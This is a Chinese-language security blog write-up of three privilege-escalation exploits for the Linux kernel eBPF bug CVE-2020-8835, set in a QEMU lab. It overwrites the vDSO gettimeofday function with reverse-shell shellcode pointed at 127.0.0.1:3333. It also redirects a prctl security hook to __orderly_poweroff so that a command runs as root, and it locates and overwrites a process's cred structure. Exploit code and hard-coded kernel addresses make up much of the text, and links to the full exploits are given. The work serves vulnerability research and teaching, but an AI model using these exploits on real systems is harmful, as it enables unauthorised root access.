前言

看到两位大佬关于CVE-2020-8835的漏洞分析利用 https://xz.aliyun.com/t/7690 https://www.anquanke.com/post/id/203416

这两篇文章分别通过修改modprobe_path的值和通过init_pid_ns结构查找cred结构进而修改的方式进行提权,本文对漏洞利用进行新的尝试,通过任意读写漏洞,分别做到劫持vdso提权, 劫持prctl到__orderly_poweroff进行提权和根据comm查找cred结构体提权,其完整的代码和漏洞环境在文末给出

劫持vdso提权

关于vdso的个人直白理解:一个物理页大小的空间,分别映射在了用户空间和内核空间,如图所示 img 其结构为elf格式,里边分别有5个系统调用, vdso所在的页,在内核态是可读、可写的,在用户态是可读、可执行的。我们可以通过这个特点,在内核空间对vdso进行修改,这样用户在用户态调用vdso的函数进行劫持

在用户态下查看用户空间的vdso地址

root@snappyjackPC:~# more /proc/self/maps | grep vdso
7ffe700c4000-7ffe700c5000 r-xp 00000000 00:00 0                          [vdso]

而对于vdso在内核空间的位置,我们可以通过特殊字段的识别,如”gettimeofday”字段,首先我们找到该字段对于elf文件的偏移 img 该程序读取用户空间vdso,并找到相对于gettimeofday的偏移,运行结果如下

/ $ ./dumpmorty 
[+]VDSO : 0x7fffc1bc6000
[+]The offset of gettimeofday is : 2f8

在寻找内核空间vdso映射的地址,我们采用爆破的方法,其中vdso所在的位置范围为0xffff880000000000~0xffffc80000000000,并且vdso占用大小为一个完整物理页,我们可以在爆破范围内地址依次增加0x1000,并且加上字符串的偏移0x2f8,与” gettimeofday”进行对比,从而找到vdso在内核空间的映射 img 一旦我们确定了vdso地址,我们通过gdb对vdso进行dumpdump memory /home/dumpelf2 0xffffffff822c0000 0xffffffff822c1000,并通过ida查看其函数地址偏移 img 通过vdso地址和函数偏移,我们可以很容易得到函数在内核空间的地址.通过劫持gettimeofday函数,将其功能改为一段反弹shell的代码,另一个进程进行接收具有root权限的shell,从而完成提权.

其中shellcode从这里提供 https://gist.github.com/itsZN/1ab36391d1849f15b785

该shell代码向地址127.0.0.1:3333进行反弹shell.

将该汇编代码转换为shellcode,通过任意地址的4个字节的修改,添加到我们的程序中,如下

exp_buf[0] = 0x31485390-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*0);//0xffffffff822c0730
exp_buf[0] = 0x0f66b0c0-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*1);
exp_buf[0] = 0xdb314805-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*2);
exp_buf[0] = 0x75c33948-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*3);
exp_buf[0] = 0xc031480f-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*4);
exp_buf[0] = 0x050f39b0-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*5);
exp_buf[0] = 0x48db3148-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*6);
exp_buf[0] = 0x0974d839-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*7);
exp_buf[0] = 0xc031485b-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*8);
exp_buf[0] = 0x050f60b0-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*9);
exp_buf[0] = 0xd23148c3-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*10);
exp_buf[0] = 0x6a5e016a-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*11);
exp_buf[0] = 0x296a5f02-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*12);
exp_buf[0] = 0x48050f58-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*13);
exp_buf[0] = 0xb9485097-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*14);
exp_buf[0] = 0xfaf2fffd-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*15);
exp_buf[0] = 0xfeffff80-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*16);
exp_buf[0] = 0x51d1f748-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*17);
exp_buf[0] = 0x6ae68948-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*18);
exp_buf[0] = 0x2a6a5a10-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*19);
exp_buf[0] = 0x48050f58-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*20);
exp_buf[0] = 0x3948db31-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*21);
exp_buf[0] = 0x480774d8-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*22);
exp_buf[0] = 0xe7b0c031-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*23);
exp_buf[0] = 0x6a90050f-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*24);
exp_buf[0] = 0x216a5e03-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*25);
exp_buf[0] = 0xceff4858-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*26);
exp_buf[0] = 0xf675050f-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*27);
exp_buf[0] = 0x50c03148-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*28);
exp_buf[0] = 0x9dd0bb48-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*29);
exp_buf[0] = 0x8cd09196-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*30);
exp_buf[0] = 0xf748ff97-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*31);
exp_buf[0] = 0x894853d3-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*32);
exp_buf[0] = 0x485750e7-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*33);
exp_buf[0] = 0x3148e689-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*34);
exp_buf[0] = 0x0f3bb0d2-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*35);
exp_buf[0] = 0xc0314805-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*36);
exp_buf[0] = 0x050fe7b0-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*37);

为了验证是否劫持了用户空间的gettimeofday,我们采用如下程序打印用户空间的vdso中的gettimeofday函数的代码

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h>
#include <sys/mman.h>
int main(){
    int test;
    size_t result=0;
    unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
    result=memmem(sysinfo_ehdr,0x1000,"gettimeofday",12);
    printf("[+]VDSO : %p\n",sysinfo_ehdr);
    printf("[+]The offset of gettimeofday is : %x\n",result-sysinfo_ehdr);

    if (sysinfo_ehdr!=0){
        for (int i=0x730;i<0x830;i+=1){
            printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
        }
    }
}

其中0x730是gettimeofday函数地址偏移

运行exp前 img 运行exp之后 img 我们可以清楚的看到,用户空间调用的gettimeofday已经被我们劫持.而劫持后的代码正是我们在内核空间所修改的.

接下来是最后一步,也是最关键的一步,fork()一个新的子进程,并调用我们劫持的函数,而父进程3333端口进行监听,等待子进程的反弹shell,代码如下: img 运行结果如下: img

代码及运行环境见: https://github.com/snappyJack/Rick_write_exp_CVE-2020-8835/tree/master/vdso

劫持HijackPrctl

除了劫持vdso,我们还可以利用劫持prctl函数使其最终运行到call_usermodehelper,并且自定义参数,达到在内核运行任意命令的目的,做到提权.

prctl函数流程分析

根据内核版本找到系统调用prctl的流程如下 img 我们看到prctl函数的参数原封不动的传到了security_task_prctl中,继续跟进,看到函数运行了hp->hook.task_prctl img 分析完了prctl,接下来我们在/kernel/reboot.c中查看__orderly_poweroff函数 img 发现该函数的参数只有一个,且为布尔类型.最终运行了run_cmd(),而poweroff_cmd为全局变量

我们可以将hp->hook地址指向的值改为orderly_poweroff,将变量,poweroff_cmd改为我们想要执行的命令,这样我们运行prctl()就等同于运行__orderly_poweroff(any_command),而后者具有root权限

我们首先使用gdb或者more /proc/kallsyms命令查看函数地址 img 通过任意地址写,修改变量poweroff_cmd和hp->hook地址,然后调用prctl,进行触发.代码如下

expbuf64[0] = 0x81090c90 -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824b2240);       // security_task_prctl 改为 orderly_poweroff
expbuf64[0] = 0x6e69622f -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0);       //命令改为 chmod 777 /flag
expbuf64[0] = 0x6d68632f -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x4);   //命令改为 chmod 777 /flag
expbuf64[0] = 0x3720646f -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x8);   //命令改为 chmod 777 /flag
expbuf64[0] = 0x2f203737 -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0xc);   //命令改为 chmod 777 /flag
expbuf64[0] = 0x67616c66 -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x10);   //命令改为 chmod 777 /flag

prctl(0,0);     //调用劫持的prctl,相当于运行__orderly_poweroff(bool force),而全局变量poweroff_cmd = 'chmod 777 /flag'

再次使用gdb下断,查看$rb0x18,发现地址已经修改为orderly_poweroff img 同时查看全局变量,已经修改为我们想要的结果 img 此时查看flag读写权限,发现该文件的权限已通过root权限进行了修改 img 至此提权效果演示完毕,完整的代码和运行环境见 https://github.com/snappyJack/Rick_write_exp_CVE-2020-8835/tree/master/hijack_prctl

根据comm查找cred结构

相对于前两种”曲线”式的提权,查找cred结构进行提权显得比较直观,其原理就是在内核空间查找特定进程的cred结构体,

首先我们对comm字段进行设置

char target[16];

strcpy(target,"aaaaaaaa");
prctl(PR_SET_NAME,target);              //通过prctl设置字符串为aaaaaaaa

通过爆破0xffff880000000000~0xffffc80000000000的地址,查找该字段,从而确定该线程的cred结构体,再利用任意地址读写,修改cred结构体,进行权限的提升.

我这里将代码稍作修改,查看comm字符串是否改变

uint64_t task_struct, cred, current_task, comm;
    uint64_t per_cpu_offset = read_8byte(0xffffffff822c26c0);
    printf("per_cpu_offset: 0x%lx\n", per_cpu_offset);
    for(int i = 0; ; i++){
        current_task = read_8byte(per_cpu_offset + 0x17d00);
        comm = read_8byte(current_task + 0x648);
        if(comm == 0x6161616161616161){                     //通过prctl设置的字符串判断位置
            printf("current_task: 0x%lx\n", current_task);
            task_struct = current_task;
            printf("[+] comm: 0x%lx\n", comm); // get comm to check
            hextostr(comm);
            break;
        }
    }

运行代码,发现comm地址已经成功被我们改写,之后再通过偏移找到cred结构,将其修改进行权限提升 img

不成熟的小技巧

这里出现了一个问题,就是在任意地址读函数最终是执行bpf_map_get_info_by_fd()进行任意地址读取 img 而爆破的过程中势必会运行到内核地址未分配的情况,每当程序运行到这里,就会造成’unable to handle page fault’,引起内核crash.程序无法继续.这里有一个小技巧: 我们qemu中的程序由于内核crash无法运行,但是这对于宿主机却并不影响,我们可以使用gdb脚本的方式,将爆破的工作交给gdb,gdb将输出的结果进行保存,待我们将保存的结果分析,得出一个更加精准的目标范围时,修改程序爆破范围,避免其出现crash的情况.这里我们以爆破vdso地址为例:

首先将脚本保存在一个文件中

root@snappyjackPC:/home/cve-repo/0x04-pwn2own-ebpf-jmp32-cve-2020-8835# more bbb 
target remote :1234
x/s 0xffffffff80001000
x/s 0xffffffff80002000
x/s 0xffffffff80003000
x/s 0xffffffff80004000
x/s 0xffffffff80005000
…
…
…
x/s 0xffffffffffffb000
x/s 0xffffffffffffc000
x/s 0xffffffffffffd000
x/s 0xffffffffffffe000
x/s 0xfffffffffffff000

将结果保存

gdb --batch --command=bbb > 8835_dump.txt

搜索ELF字段(vdso整页映射,具有elf结构) img 根据搜索的结果便可缩小我们要爆破的范围,防止程序crash

代码及运行环境:

https://github.com/snappyJack/Rick_write_exp_CVE-2020-8835

参考文章

https://xz.aliyun.com/t/7690 https://www.anquanke.com/post/id/203416 http://p4nda.top/2018/11/07/stringipc/#cred%E7%BB%93%E6%9E%84%E4%BD%93 https://xz.aliyun.com/t/6296 https://www.jianshu.com/p/a2259cd3e79e

其中关于ebpf模块的详细讲解: https://www.bilibili.com/video/BV1Bt411S7tg?from=search&seid=16841983597864343370